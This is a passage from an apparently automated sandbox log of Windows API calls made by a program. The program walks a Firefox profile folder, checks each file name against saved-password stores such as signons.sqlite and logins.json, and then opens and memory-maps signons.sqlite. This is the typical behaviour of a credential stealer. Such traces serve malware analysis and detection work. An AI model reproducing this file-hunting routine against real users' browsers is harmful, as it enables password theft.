LocalFree (hMem=0x74f980) returned 0x0 [0047.534] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned 115 [0047.534] lstrlenA (lpString="\\*.*") returned 4 [0047.534] LocalAlloc (uFlags=0x40, uBytes=0xf8) returned 0x74f980 [0047.534] lstrcpyA (in: lpString1=0x74f980, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" [0047.534] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\*.*" [0047.534] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\*.*", lpFindFileData=0xef5c4 | out: lpFindFileData=0xef5c4) returned 0x72dd90 [0047.540] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0047.540] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5c4 | out: lpFindFileData=0xef5c4) returned 1 [0047.540] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0047.540] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0047.540] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5c4 | out: lpFindFileData=0xef5c4) returned 1 [0047.540] lstrcmpiA (lpString1=".", lpString2="818200132aebmoouht") returned -1 [0047.540] lstrcmpiA (lpString1="..", lpString2="818200132aebmoouht") returned -1 [0047.540] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned 115 [0047.540] lstrlenA (lpString="\\") returned 1 [0047.541] LocalAlloc (uFlags=0x40, uBytes=0xf5) returned 0x74fb80 [0047.541] lstrcpyA (in: lpString1=0x74fb80, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" [0047.541] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\" [0047.541] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\") returned 116 [0047.541] lstrlenA (lpString="818200132aebmoouht") returned 18 [0047.541] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x74fc80 [0047.541] lstrcpyA (in: lpString1=0x74fc80, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\" [0047.541] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\", lpString2="818200132aebmoouht" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" [0047.541] LocalFree (hMem=0x74fb80) returned 0x0 [0047.541] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned 134 [0047.541] lstrlenA (lpString="\\*.*") returned 4 [0047.541] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x74fd90 [0047.541] lstrcpyA (in: lpString1=0x74fd90, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" [0047.541] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*" [0047.541] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*", lpFindFileData=0xef45c | out: lpFindFileData=0xef45c) returned 0x72ddd0 [0047.541] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0047.541] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef45c | out: lpFindFileData=0xef45c) returned 1 [0047.541] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0047.541] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0047.541] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef45c | out: lpFindFileData=0xef45c) returned 0 [0047.541] FindClose (in: hFindFile=0x72ddd0 | out: hFindFile=0x72ddd0) returned 1 [0047.541] LocalFree (hMem=0x74fd90) returned 0x0 [0047.541] LocalFree (hMem=0x74fc80) returned 0x0 [0047.541] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5c4 | out: lpFindFileData=0xef5c4) returned 1 [0047.541] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons.sqlite") returned 0x0 [0047.541] lstrlenA (lpString="818200132aebmoouht.sqlite") returned 25 [0047.541] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="logins.json") returned 0x0 [0047.541] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons.txt") returned 0x0 [0047.541] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons2.txt") returned 0x0 [0047.541] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons3.txt") returned 0x0 [0047.542] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5c4 | out: lpFindFileData=0xef5c4) returned 0 [0047.542] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0047.542] LocalFree (hMem=0x74f980) returned 0x0 [0047.542] LocalFree (hMem=0x74fa80) returned 0x0 [0047.542] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef72c | out: lpFindFileData=0xef72c) returned 0 [0047.542] FindClose (in: hFindFile=0x72dd50 | out: hFindFile=0x72dd50) returned 1 [0047.542] LocalFree (hMem=0x74d808) returned 0x0 [0047.542] LocalFree (hMem=0x76e840) returned 0x0 [0047.542] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef894 | out: lpFindFileData=0xef894) returned 0 [0047.542] FindClose (in: hFindFile=0x72dcd0 | out: hFindFile=0x72dcd0) returned 1 [0047.542] LocalFree (hMem=0x74d720) returned 0x0 [0047.542] LocalFree (hMem=0x74d638) returned 0x0 [0047.542] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0047.542] StrStrIA (lpFirst="key3.db", lpSrch="signons.sqlite") returned 0x0 [0047.542] lstrlenA (lpString="key3.db") returned 7 [0047.542] StrStrIA (lpFirst="key3.db", lpSrch="logins.json") returned 0x0 [0047.542] StrStrIA (lpFirst="key3.db", lpSrch="signons.txt") returned 0x0 [0047.542] StrStrIA (lpFirst="key3.db", lpSrch="signons2.txt") returned 0x0 [0047.542] StrStrIA (lpFirst="key3.db", lpSrch="signons3.txt") returned 0x0 [0047.542] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0047.542] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons.sqlite") returned 0x0 [0047.542] lstrlenA (lpString="localstore.rdf") returned 14 [0047.542] StrStrIA (lpFirst="localstore.rdf", lpSrch="logins.json") returned 0x0 [0047.542] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons.txt") returned 0x0 [0047.542] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons2.txt") returned 0x0 [0047.542] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons3.txt") returned 0x0 [0047.542] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0047.542] StrStrIA (lpFirst="marionette.log", lpSrch="signons.sqlite") returned 0x0 [0047.542] lstrlenA (lpString="marionette.log") returned 14 [0047.542] StrStrIA (lpFirst="marionette.log", lpSrch="logins.json") returned 0x0 [0047.542] StrStrIA (lpFirst="marionette.log", lpSrch="signons.txt") returned 0x0 [0047.542] StrStrIA (lpFirst="marionette.log", lpSrch="signons2.txt") returned 0x0 [0047.542] StrStrIA (lpFirst="marionette.log", lpSrch="signons3.txt") returned 0x0 [0047.542] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0047.542] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons.sqlite") returned 0x0 [0047.542] lstrlenA (lpString="mimeTypes.rdf") returned 13 [0047.542] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="logins.json") returned 0x0 [0047.542] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons.txt") returned 0x0 [0047.542] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons2.txt") returned 0x0 [0047.542] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons3.txt") returned 0x0 [0047.542] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0047.542] lstrcmpiA (lpString1=".", lpString2="minidumps") returned -1 [0047.542] lstrcmpiA (lpString1="..", lpString2="minidumps") returned -1 [0047.542] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0047.542] lstrlenA (lpString="\\") returned 1 [0047.542] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x74d558 [0047.543] lstrcpyA (in: lpString1=0x74d558, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0047.543] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0047.543] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0047.543] lstrlenA (lpString="minidumps") returned 9 [0047.543] LocalAlloc (uFlags=0x40, uBytes=0xdc) returned 0x74d638 [0047.543] lstrcpyA (in: lpString1=0x74d638, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0047.543] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="minidumps" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps" [0047.543] LocalFree (hMem=0x74d558) returned 0x0 [0047.543] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps") returned 91 [0047.543] lstrlenA (lpString="\\*.*") returned 4 [0047.543] LocalAlloc (uFlags=0x40, uBytes=0xe0) returned 0x74d720 [0047.543] lstrcpyA (in: lpString1=0x74d720, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps" [0047.543] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps\\*.*" [0047.543] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps\\*.*", lpFindFileData=0xef894 | out: lpFindFileData=0xef894) returned 0x72dcd0 [0047.543] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0047.543] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef894 | out: lpFindFileData=0xef894) returned 1 [0047.543] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0047.543] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0047.544] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef894 | out: lpFindFileData=0xef894) returned 0 [0047.544] FindClose (in: hFindFile=0x72dcd0 | out: hFindFile=0x72dcd0) returned 1 [0047.544] LocalFree (hMem=0x74d720) returned 0x0 [0047.544] LocalFree (hMem=0x74d638) returned 0x0 [0047.544] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0047.544] StrStrIA (lpFirst="parent.lock", lpSrch="signons.sqlite") returned 0x0 [0047.544] lstrlenA (lpString="parent.lock") returned 11 [0047.544] StrStrIA (lpFirst="parent.lock", lpSrch="logins.json") returned 0x0 [0047.544] StrStrIA (lpFirst="parent.lock", lpSrch="signons.txt") returned 0x0 [0047.544] StrStrIA (lpFirst="parent.lock", lpSrch="signons2.txt") returned 0x0 [0047.544] StrStrIA (lpFirst="parent.lock", lpSrch="signons3.txt") returned 0x0 [0047.544] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0047.544] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons.sqlite") returned 0x0 [0047.544] lstrlenA (lpString="permissions.sqlite") returned 18 [0047.544] StrStrIA (lpFirst="permissions.sqlite", lpSrch="logins.json") returned 0x0 [0047.544] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons.txt") returned 0x0 [0047.544] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons2.txt") returned 0x0 [0047.544] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons3.txt") returned 0x0 [0047.544] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0047.544] StrStrIA (lpFirst="places.sqlite", lpSrch="signons.sqlite") returned 0x0 [0047.544] lstrlenA (lpString="places.sqlite") returned 13 [0047.544] StrStrIA (lpFirst="places.sqlite", lpSrch="logins.json") returned 0x0 [0047.544] StrStrIA (lpFirst="places.sqlite", lpSrch="signons.txt") returned 0x0 [0047.544] StrStrIA (lpFirst="places.sqlite", lpSrch="signons2.txt") returned 0x0 [0047.544] StrStrIA (lpFirst="places.sqlite", lpSrch="signons3.txt") returned 0x0 [0047.544] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0047.544] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons.sqlite") returned 0x0 [0047.544] lstrlenA (lpString="pluginreg.dat") returned 13 [0047.544] StrStrIA (lpFirst="pluginreg.dat", lpSrch="logins.json") returned 0x0 [0047.544] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons.txt") returned 0x0 [0047.544] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons2.txt") returned 0x0 [0047.544] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons3.txt") returned 0x0 [0047.544] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0047.544] StrStrIA (lpFirst="prefs.js", lpSrch="signons.sqlite") returned 0x0 [0047.544] lstrlenA (lpString="prefs.js") returned 8 [0047.544] StrStrIA (lpFirst="prefs.js", lpSrch="logins.json") returned 0x0 [0047.544] StrStrIA (lpFirst="prefs.js", lpSrch="signons.txt") returned 0x0 [0047.544] StrStrIA (lpFirst="prefs.js", lpSrch="signons2.txt") returned 0x0 [0047.544] StrStrIA (lpFirst="prefs.js", lpSrch="signons3.txt") returned 0x0 [0047.544] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0047.544] StrStrIA (lpFirst="search.json", lpSrch="signons.sqlite") returned 0x0 [0047.544] lstrlenA (lpString="search.json") returned 11 [0047.544] StrStrIA (lpFirst="search.json", lpSrch="logins.json") returned 0x0 [0047.544] StrStrIA (lpFirst="search.json", lpSrch="signons.txt") returned 0x0 [0047.544] StrStrIA (lpFirst="search.json", lpSrch="signons2.txt") returned 0x0 [0047.544] StrStrIA (lpFirst="search.json", lpSrch="signons3.txt") returned 0x0 [0047.544] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0047.544] StrStrIA (lpFirst="secmod.db", lpSrch="signons.sqlite") returned 0x0 [0047.544] lstrlenA (lpString="secmod.db") returned 9 [0047.545] StrStrIA (lpFirst="secmod.db", lpSrch="logins.json") returned 0x0 [0047.545] StrStrIA (lpFirst="secmod.db", lpSrch="signons.txt") returned 0x0 [0047.545] StrStrIA (lpFirst="secmod.db", lpSrch="signons2.txt") returned 0x0 [0047.545] StrStrIA (lpFirst="secmod.db", lpSrch="signons3.txt") returned 0x0 [0047.545] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0047.545] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons.sqlite") returned 0x0 [0047.545] lstrlenA (lpString="sessionstore.bak") returned 16 [0047.545] StrStrIA (lpFirst="sessionstore.bak", lpSrch="logins.json") returned 0x0 [0047.545] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons.txt") returned 0x0 [0047.545] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons2.txt") returned 0x0 [0047.545] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons3.txt") returned 0x0 [0047.545] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0047.545] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons.sqlite") returned 0x0 [0047.545] lstrlenA (lpString="sessionstore.js") returned 15 [0047.545] StrStrIA (lpFirst="sessionstore.js", lpSrch="logins.json") returned 0x0 [0047.545] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons.txt") returned 0x0 [0047.545] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons2.txt") returned 0x0 [0047.545] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons3.txt") returned 0x0 [0047.545] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0047.545] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons.sqlite") returned="signons.sqlite" [0047.545] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0047.545] lstrlenA (lpString="\\") returned 1 [0047.545] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x74d558 [0047.545] lstrcpyA (in: lpString1=0x74d558, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0047.545] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0047.545] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0047.545] lstrlenA (lpString="signons.sqlite") returned 14 [0047.545] LocalAlloc (uFlags=0x40, uBytes=0xe1) returned 0x74d998 [0047.545] lstrcpyA (in: lpString1=0x74d998, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0047.545] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="signons.sqlite" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" [0047.545] LocalFree (hMem=0x74d558) returned 0x0 [0047.545] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\signons.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0047.546] CloseHandle (hObject=0x3a0) returned 1 [0047.546] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x62 [0047.546] LocalAlloc (uFlags=0x40, uBytes=0xe2) returned 0x74da88 [0047.546] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite", lpDst=0x74da88, nSize=0x62 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite") returned 0x61 [0047.546] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\signons.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0047.546] CloseHandle (hObject=0x3a0) returned 1 [0047.546] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\signons.sqlite"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0047.546] GetFileSize (in: hFile=0x3a0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x50000 [0047.546] CreateFileMappingA (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x3a4 [0047.546] MapViewOfFile (hFileMappingObject=0x3a4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x480000 [0047.562] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x7499f8 [0047.562] UnmapViewOfFile (lpBaseAddress=0x480000) returned 1 [0047.564] CloseHandle (hObject=0x3a4) returned 1 [0047.564] CloseHandle (hObject=0x3a0) returned 1 [0047.564] LocalFree (hMem=0x74da88) returned 0x0 [0047.564] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 